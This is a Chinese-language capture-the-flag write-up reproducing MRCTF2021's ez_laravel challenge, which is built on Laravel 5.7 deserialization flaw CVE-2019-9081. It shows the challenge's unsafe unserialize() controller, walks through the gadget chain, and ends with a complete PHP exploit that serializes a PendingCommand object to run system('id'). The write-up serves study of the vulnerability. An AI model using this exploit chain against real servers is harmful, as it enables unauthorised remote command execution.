[MRCTF2021]ez_laravel复现

前言

还是之前打的mrctf,难度比较大,也是第一次正式比赛出现了lara题目,近来多数比赛,包括CISCN都习惯出lara的题目,算是比较好的框架,但当时被带的做起了,现在复现一次:
在这里插入图片描述
考察的是Laravel的CVE-2019-9081,影响版本为5.7.x,当时别个搜CVE也能搜出来,先下载下来,lara5.7

但lara5.7里面没有vendor,在文件夹下,用cmd命令 composer install就可产生:
开始对比:
在这里插入图片描述
主要差别确实就是MRCTF的www_laravel,其app/Http/Controllers下多了一个路由,也就是图中的TaskController.php
在这里插入图片描述
TaskCotroller.php

<?php
namespace App\Http\Controllers;

class TaskController
{
    public function index(){
        if(isset($_GET['action']) && preg_match('/serialize\/*$/i',   $_GET['action'])){
            exit(1);
        }
        if(preg_match('/serialize/i', basename(  $_GET['action']))){
            if(isset($_GET['ser'])){
                $ser = $_GET['ser'];
                unserialize($ser);
                return ;
            }else{
                echo "no unserialization";
                return ;
            }
        }
    }
}
?>

题目的路由文件也进行了更改:
在这里插入图片描述
其是一个CVE的复现,该CVE指出漏洞出现在PendingCommand.php文件中,进入该文件:
在这里插入图片描述
这里看到了提示,也就暗示是目标的位置,也说明就是考察CVE复现
别的文章说是要使用原生类:
在这里插入图片描述
所谓的反序列化函数,其反序列化的入口就是之前的/hello路由,
上图的__tostring函数触发后会返回文件名:
需要找一个把他显示出来的函数:

CVE和其他WP说是:Response.php
vendor/symfony/http-foundation/Response.php

在这里插入图片描述存在这么一个方法,就是可以返回内容:
在这里插入图片描述再找到wp说的所需的:
在这里插入图片描述这是PendingCommand.php所在的路径:
在这里插入图片描述在这里插入图片描述按照WP所说找全了所需的函数,

利用是使用,实例化Filesystem, 触发__tostring里的原生类,实例化response类,调用response类里的_construct函数,来调用setcontent(),用FnStream.php里的call_user_func来执行输出文件名。

POC网上有:
给个官方可能可利用的exp:

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>
  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

F1gh4

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值